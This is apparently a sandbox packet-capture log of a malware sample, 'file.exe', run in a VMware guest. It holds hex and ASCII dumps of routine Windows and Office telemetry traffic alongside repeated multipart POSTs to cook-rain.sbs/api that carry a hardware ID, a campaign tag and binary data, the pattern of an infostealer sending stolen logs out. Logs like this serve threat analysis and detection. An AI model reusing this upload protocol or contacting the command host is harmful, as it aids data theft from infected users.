2024-11-18 04:57:08 UTC	1369	IN	Data Raw: 59 61 2f 57 76 6a 2f 56 56 38 44 2f 72 77 56 77 41 64 4b 78 44 76 64 38 32 4a 57 64 73 35 49 56 30 48 6e 64 4d 78 69 7a 4f 66 6d 6b 62 45 55 6c 4f 63 57 53 6e 33 57 79 31 79 55 57 55 6a 77 65 4a 4f 77 5a 52 73 6b 78 41 34 4d 46 38 6b 68 39 55 7a 69 74 38 32 47 76 31 72 6c 39 56 78 46 4b 4d 4f 62 41 2f 6b 70 4a 66 41 2f 32 2f 4e 67 50 51 79 55 4f 52 6b 43 79 6d 6a 4d 4d 6f 48 6c 30 74 62 6b 57 50 6e 71 58 30 4d 2b 67 71 34 2b 68 53 59 65 34 54 6a 46 39 32 49 48 65 4d 39 49 47 55 47 53 4e 59 55 79 33 65 57 53 31 76 73 57 32 66 6c 62 58 54 37 53 6d 51 4c 45 41 51 75 6c 42 76 58 66 4b 52 6b 6d 32 78 6b 43 42 64 78 59 39 56 58 4a 6f 4d 32 6f 67 69 2f 46 2f 30 67 52 47 38 4f 64 42 34 64 5a 53 50 70 34 6b 37 41 46 48 6a 50 52 53 45 46 42 7a 69 61 54 4d 75 43 75 Data Ascii: Ya/Wvj/VV8D/rwVwAdKxDvd82JWds5IV0HndMxizOfmkbEUlOcWSn3Wy1yUWUjweJOwZRskxA4MF8kh9Uzit82Gv1rl9VxFKMObA/kpJfA/2/NgPQyUORkCymjMMoHl0tbkWPnqX0M+gq4+hSYe4TjF92IHeM9IGUGSNYUy3eWS1vsW2flbXT7SmQLEAQulBvXfKRkm2xkCBdxY9VXJoM2ogi/F/0gRG8OdB4dZSPp4k7AFHjPRSEFBziaTMuCu

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49711	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:08 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 62 74 47 38 4d 68 66 4e 6b 55 43 66 6d 6c 55 4a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 62 35 65 35 38 37 62 63 35 66 34 62 37 30 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: btG8MhfNkUCfmlUJ.1Context: 1b5e587bc5f4b703
2024-11-18 04:57:08 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-18 04:57:08 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 62 74 47 38 4d 68 66 4e 6b 55 43 66 6d 6c 55 4a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 62 35 65 35 38 37 62 63 35 66 34 62 37 30 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 6f 75 44 76 36 66 57 63 77 32 4b 58 6c 4e 6a 61 4b 6b 32 4c 71 54 4f 61 7a 72 34 62 46 76 76 52 42 44 72 71 54 46 4a 4b 6e 53 2b 55 49 2b 54 6a 51 77 62 43 4f 61 4c 4b 2f 47 6e 6e 6b 35 36 6e 73 6e 35 4e 4b 38 5a 37 70 4f 4d 4a 55 6d 36 6b 4e 6d 38 4d 72 42 69 45 68 43 52 39 7a 65 4a 4e 39 47 37 37 4a 32 4c 30 58 2b 6a 6d Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: btG8MhfNkUCfmlUJ.2Context: 1b5e587bc5f4b703<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaouDv6fWcw2KXlNjaKk2LqTOazr4bFvvRBDrqTFJKnS+UI+TjQwbCOaLK/Gnnk56nsn5NK8Z7pOMJUm6kNm8MrBiEhCR9zeJN9G77J2L0X+jm
2024-11-18 04:57:08 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 62 74 47 38 4d 68 66 4e 6b 55 43 66 6d 6c 55 4a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 62 35 65 35 38 37 62 63 35 66 34 62 37 30 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: btG8MhfNkUCfmlUJ.3Context: 1b5e587bc5f4b703<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-18 04:57:09 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-18 04:57:09 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 58 4d 54 43 55 30 67 43 61 55 65 54 56 62 38 32 52 62 50 61 44 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: XMTCU0gCaUeTVb82RbPaDg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49712	188.114.97.3	443	4148	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:09 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EOR4OYIKF265YW131R9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12871 Host: cook-rain.sbs
2024-11-18 04:57:09 UTC	12871	OUT	Data Raw: 2d 2d 45 4f 52 34 4f 59 49 4b 46 32 36 35 59 57 31 33 31 52 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 46 45 45 46 37 38 33 45 35 32 39 35 33 36 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 45 4f 52 34 4f 59 49 4b 46 32 36 35 59 57 31 33 31 52 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 4f 52 34 4f 59 49 4b 46 32 36 35 59 57 31 33 31 52 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --EOR4OYIKF265YW131R9Content-Disposition: form-data; name="hwid"6AFEEF783E529536F7005D7B20127A88--EOR4OYIKF265YW131R9Content-Disposition: form-data; name="pid"2--EOR4OYIKF265YW131R9Content-Disposition: form-data; name="lid"LOGS11--Li
2024-11-18 04:57:09 UTC	1008	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a59758cs6qrdf1eb89lmim7jcv; expires=Thu, 13-Mar-2025 22:43:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o98wYc2k%2BYrADI1qU9VJeLU6oUpfeW74RuEZLlwVIPh3veo7X4x2Z3%2FdVJZV5V3mWG10OQKLUq1FxQekvdG5oijX2RIAhca5BZjRHrnGLP%2FNK0pztXc%2BAtNsFjRuBLvJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4560c89fb1e966-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1285&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2828&recv_bytes=13809&delivery_rate=2156366&cwnd=251&unsent_bytes=0&cid=006bc19369e6cc30&ts=739&x=0"
2024-11-18 04:57:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 04:57:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49713	188.114.97.3	443	4148	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:10 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PK2F9G7DPHSG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15075 Host: cook-rain.sbs
2024-11-18 04:57:10 UTC	15075	OUT	Data Raw: 2d 2d 50 4b 32 46 39 47 37 44 50 48 53 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 46 45 45 46 37 38 33 45 35 32 39 35 33 36 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 50 4b 32 46 39 47 37 44 50 48 53 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 4b 32 46 39 47 37 44 50 48 53 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 50 4b 32 46 39 47 37 44 Data Ascii: --PK2F9G7DPHSGContent-Disposition: form-data; name="hwid"6AFEEF783E529536F7005D7B20127A88--PK2F9G7DPHSGContent-Disposition: form-data; name="pid"2--PK2F9G7DPHSGContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--PK2F9G7D
2024-11-18 04:57:11 UTC	1003	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fgph0i377sdjpevs6q121e8ti5; expires=Thu, 13-Mar-2025 22:43:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5UTaWwcDxTnypCXuD3KInp2mbrWiSDQFSO0HpCwwb8OnEeSJozijqSADHU9qD0JCHtmmQV3U8euuYNU7iHBVW7i7xbGAT1HZkOE%2FTa22JnMBFun8lnvkYWqpXyPYr58s"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4560d1cd1246e6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1190&sent=11&recv=22&lost=0&retrans=0&sent_bytes=2828&recv_bytes=16006&delivery_rate=2251944&cwnd=251&unsent_bytes=0&cid=9fe23148a4a839d7&ts=699&x=0"
2024-11-18 04:57:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 04:57:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49714	188.114.97.3	443	4148	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:12 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7V5BTTSM225DR81DZHR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19975 Host: cook-rain.sbs
2024-11-18 04:57:12 UTC	15331	OUT	Data Raw: 2d 2d 37 56 35 42 54 54 53 4d 32 32 35 44 52 38 31 44 5a 48 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 46 45 45 46 37 38 33 45 35 32 39 35 33 36 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 37 56 35 42 54 54 53 4d 32 32 35 44 52 38 31 44 5a 48 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 37 56 35 42 54 54 53 4d 32 32 35 44 52 38 31 44 5a 48 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --7V5BTTSM225DR81DZHRContent-Disposition: form-data; name="hwid"6AFEEF783E529536F7005D7B20127A88--7V5BTTSM225DR81DZHRContent-Disposition: form-data; name="pid"3--7V5BTTSM225DR81DZHRContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-18 04:57:12 UTC	4644	OUT	Data Raw: a5 31 16 55 bb 32 f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee Data Ascii: 1U2+?2+?2+?o?Mp5
2024-11-18 04:57:13 UTC	1007	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mlkpu63be39qgfioupk4ur3rj0; expires=Thu, 13-Mar-2025 22:43:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WxEzVMdRFUrw07M6%2BF4r2Y6g2KyFRWNbLhcetmN%2FkOlSmxeR2dGKPLi%2FnvVyKRWvE3IX8F6X39eNO8r3h067qIhqtPPHUyRx7zN6R35O5goo5YxBnmBgb6E2cJRtQvyw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4560db3ae77d5d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1096&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2830&recv_bytes=20935&delivery_rate=2649588&cwnd=252&unsent_bytes=0&cid=6f61861d8d9c512d&ts=940&x=0"
2024-11-18 04:57:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 04:57:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:13 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:13 UTC	492	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:13 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 16 Nov 2024 09:12:53 GMT ETag: "0x8DD061EDA65C651" x-ms-request-id: 1f2ca79a-801e-0015-0d8f-38f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045713Z-1866b5c5fbbz7hb5hC1DFWru7c00000005b00000000023va x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 04:57:13 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-18 04:57:13 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-18 04:57:14 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-18 04:57:14 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-18 04:57:14 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-18 04:57:14 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
